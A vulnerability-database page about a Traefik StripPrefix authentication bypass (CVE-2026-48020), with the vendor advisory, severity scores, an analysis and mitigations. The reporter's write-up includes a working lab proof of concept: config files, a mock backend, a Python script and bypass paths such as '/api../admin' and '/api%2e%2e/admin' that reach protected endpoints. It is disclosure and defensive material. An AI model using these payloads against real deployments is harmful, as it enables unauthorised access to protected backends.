Skip to main content

Traefik EUVDEUVD-2026-38574

| CVE-2026-48020 HIGH
Authentication Bypass Using an Alternate Path or Channel (CWE-288)
2026-06-11 https://github.com/traefik/traefik GHSA-xf64-8mw2-4gr2
7.8
CVSS 4.0 · Vendor: https://github.com/traefik/traefik
Share

Severity by source

Vendor (https://github.com/traefik/traefik) PRIMARY
7.8 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
10.0 CRITICAL

Network-reachable, no auth or UI; exploitation needs a specific but common StripPrefix config (AC:L is defensible); Scope:Changed because the bypass crosses Traefik's auth boundary to a separately-secured backend, with high C/I impact and no availability effect.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
SUSE
CRITICAL
qualitative
Red Hat
9.1 HIGH
qualitative

Primary rating from Vendor (https://github.com/traefik/traefik).

CVSS VectorVendor: https://github.com/traefik/traefik

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

6
Analysis Updated
Jun 23, 2026 - 20:34 vuln.today
v3 (cvss_changed)
Analysis Updated
Jun 23, 2026 - 20:32 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Jun 23, 2026 - 20:22 vuln.today
cvss_changed
CVSS changed
Jun 23, 2026 - 20:22 NVD
7.8 (HIGH)
Source Code Evidence Fetched
Jun 11, 2026 - 13:53 vuln.today
Analysis Generated
Jun 11, 2026 - 13:53 vuln.today

DescriptionCVE.org

Summary

There is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths - such as admin or internal configuration endpoints - without satisfying the authentication middleware attached to the protected router.

Patches

  • https://github.com/traefik/traefik/releases/tag/v2.11.48
  • https://github.com/traefik/traefik/releases/tag/v3.6.19
  • https://github.com/traefik/traefik/releases/tag/v3.7.3

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)

Summary

A route-level authentication/authorization bypas was found in Traefik when PathPrefix-based public routes are combined with StripPrefix.

A request using /api../ or /api%2e%2e/ can avoid protected router rules at the routing stage, but after StripPrefix, the path is normalized and forwarded to the backend as a protected path such as /admin or /internal/config.

This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed StripPrefixRegex / path-normalization issues.

This report specifically affects StripPrefix.

Affected Versions Tested

ImageObserved VersionResult
traefik:v2.11v2.11.46Affected
traefik:v3.6v3.6.17Affected
traefik:latestv3.7.1Affected

Lab Contrast

ImageResult
traefik:v2.10Not reproduced in lab
traefik:v3.5Not reproduced in lab

Vulnerable Configuration Pattern

The issue appears when:

  • a broad public route strips a prefix
  • while a separate protected route is intended to guard internal/admin paths
yaml
http:
  routers:
    public-api:
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints:
        - web
      middlewares:
        - strip-api
      service: backend

    protected:
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints:
        - web
      middlewares:
        - auth
      service: backend

  middlewares:
    strip-api:
      stripPrefix:
        prefixes:
          - /api

    auth:
      basicAuth:
        users:
          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://backend:9000

Observed Behavior

Direct Protected Paths

These are correctly blocked.

RequestExpectedObserved
GET /adminBlocked401
GET /internal/configBlocked401

Expected Public Exclusions

These do not expose protected backend paths.

RequestExpectedObserved
GET /api/adminNot routed to protected backend path404
GET /api/internal/configNot routed to protected backend path404

Bypass Payloads

These reach protected backend paths.

RequestObserved StatusBackend Receives
GET /api../admin200/admin
GET /api%2e%2e/admin200/admin
GET /api../internal/config200/internal/config
GET /api%2e%2e/internal/config200/internal/config

Minimal PoC

docker-compose.yml

yaml
services:
  traefik:
    image: traefik:v3.7
    command:
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --entrypoints.web.address=:8080
      - --accesslog=true
    ports:
      - "127.0.0.1:18080:8080"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
    depends_on:
      - backend

  backend:
    image: python:3.12-slim
    working_dir: /app
    command: python backend.py
    volumes:
      - ./backend.py:/app/backend.py:ro
    expose:
      - "9000"

dynamic.yml

yaml
http:
  routers:
    public-api:
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints:
        - web
      middlewares:
        - strip-api
      service: backend

    protected:
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints:
        - web
      middlewares:
        - auth
      service: backend

  middlewares:
    strip-api:
      stripPrefix:
        prefixes:
          - /api

    auth:
      basicAuth:
        users:
          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://backend:9000

backend.py

python
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class Handler(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        return

    def _json(self, status, obj):
        body = json.dumps(obj).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        if self.path == "/admin":
            self._json(200, {
                "seen_path": self.path,
                "secret": "ADMIN_SECRET_REACHED"
            })
        elif self.path == "/internal/config":
            self._json(200, {
                "seen_path": self.path,
                "secret": "TRAEFIK_LAB_INTERNAL_CONFIG"
            })
        elif self.path == "/admin/exec":
            self._json(200, {
                "seen_path": self.path,
                "rce_chain_marker": True,
                "note": "protected execution endpoint reached"
            })
        else:
            self._json(404, {
                "seen_path": self.path,
                "secret": None
            })

HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()

poc.py

python
#!/usr/bin/env python3
from urllib.request import Request, urlopen
from urllib.error import HTTPError

BASE = "http://127.0.0.1:18080"

PATHS = [
    "/admin",
    "/internal/config",
    "/api/admin",
    "/api/internal/config",
    "/api../admin",
    "/api%2e%2e/admin",
    "/api../internal/config",
    "/api%2e%2e/internal/config",
    "/admin/exec",
    "/api/admin/exec",
    "/api../admin/exec",
    "/api%2e%2e/admin/exec",
]

for path in PATHS:
    req = Request(BASE + path)
    try:
        with urlopen(req, timeout=5) as r:
            status = r.status
            body = r.read().decode(errors="replace")
    except HTTPError as e:
        status = e.code
        body = e.read().decode(errors="replace")

    print(f"{path:28} {status} {body[:180]}")

Run

bash
docker compose up -d
python3 poc.py

Expected Vulnerable Output

text
/admin                       401
/internal/config             401
/api/admin                   404
/api/internal/config         404
/api../admin                 200  backend seen_path=/admin
/api%2e%2e/admin             200  backend seen_path=/admin
/api../internal/config       200  backend seen_path=/internal/config
/api%2e%2e/internal/config   200  backend seen_path=/internal/config
/api../admin/exec            200  protected execution endpoint reached
/api%2e%2e/admin/exec        200  protected execution endpoint reached

Root Cause Hypothesis

The vulnerable behavior appears to be caused by path normalization after prefix stripping.

text
Incoming path:              /api../admin
After StripPrefix("/api"):  /../admin
After JoinPath():           /admin

The request does not match the protected /admin router at the routing stage, but the backend receives /admin after normalization.

The relevant behavior appears related to StripPrefix calling req.URL.JoinPath() after removing the prefix in newer versions.

Security Impact

An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.

Potential impact includes:

  • Access to protected admin paths
  • Access to internal configuration endpoints
  • Exposure of secrets returned by internal backends
  • Access to protected backend management functionality
  • Conditional RCE if the protected backend exposes an execution primitive

In the local lab, a protected /admin/exec endpoint was reachable through /api../admin/exec, demonstrating a conditional RCE chain when the backend contains an execution primitive.

This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.

Suggested Severity

Suggested CVSS is 10.0 Critical with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.

text
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.

If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as 9.1 Critical with Scope Unchanged:

text
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.

Weakness

Primary CWE:

  • CWE-863: Incorrect Authorization

Related weakness candidates:

  • CWE-180: Incorrect Behavior Order: Validate Before Canonicalize
  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory

Mitigation Verified in Lab

The bypass was blocked when using a stricter prefix boundary:

text
PathRegexp(`^/api(/|$)`)

or:

text
PathPrefix(`/api/`) with StripPrefix(`/api/`)

Relation to Existing Advisories

This appears related to the same vulnerability family as prior Traefik path normalization / StripPrefixRegex bypass advisories, but it affects StripPrefix and remains reproducible on patched/latest versions tested above.

This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.

Reporter

WonYun / kyun0

</details>

AnalysisAI

Route-level authentication bypass in Traefik's StripPrefix middleware allows unauthenticated remote attackers to reach protected backend endpoints (e.g., /admin, /internal/config) by crafting request paths such as /api../admin or /api%2e%2e/admin. The public router matches before path normalization, but StripPrefix subsequently normalizes the path via JoinPath() so the backend receives the protected path without the authentication middleware ever running. Publicly available exploit code exists (full PoC in the advisory), patches are released, and EPSS sits at 0.22% (45th percentile) with no CISA KEV listing.

Technical ContextAI

Traefik is a widely deployed cloud-native reverse proxy and ingress controller written in Go (CPE: pkg:go/github.com/traefik/traefik/v2 and v3). The vulnerability lives in the StripPrefix middleware: in affected versions it calls req.URL.JoinPath() after removing the matched prefix, which canonicalizes '..' segments. Routing decisions, however, are made on the raw pre-normalization path, so a request like /api../admin satisfies a permissive PathPrefix(/api) router (and evades the negated !PathPrefix(/api/admin) guard), gets stripped to /../admin, and is then collapsed to /admin before being forwarded to the backend - completely sidestepping any auth middleware attached to a separate /admin router. The root cause maps cleanly to CWE-288 (Authentication Bypass Using an Alternate Path) and CWE-180 (Validate Before Canonicalize); it is a variant of, but distinct from, prior StripPrefixRegex normalization bugs in Traefik.

RemediationAI

Vendor-released patches: upgrade to Traefik 2.11.48, 3.6.19, or 3.7.3 (release notes: https://github.com/traefik/traefik/releases/tag/v2.11.48, /v3.6.19, /v3.7.3), which reject requests whose path differs after StripPrefix/StripPrefixRegex normalization (PR #13215). If you cannot patch immediately, the reporter verified two configuration-level mitigations in the lab: replace permissive rules like PathPrefix(/api) with a strict boundary using PathRegexp(^/api(/|$)), or use PathPrefix(/api/) paired with StripPrefix(/api/) so that /api.. no longer matches the public router; the trade-off is that any legitimate client relying on the trailing-slash-less form must be updated. As a defensive backstop, audit dynamic.yml/IngressRoute configurations for the vulnerable pattern (public StripPrefix route plus sibling auth-protected route on adjacent paths) and consider adding a WAF rule that rejects requests whose decoded path contains '..' segments before they reach Traefik.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
openSUSE Tumbleweed Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected
openSUSE Leap 15.6 Affected

Share

EUVD-2026-38574 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy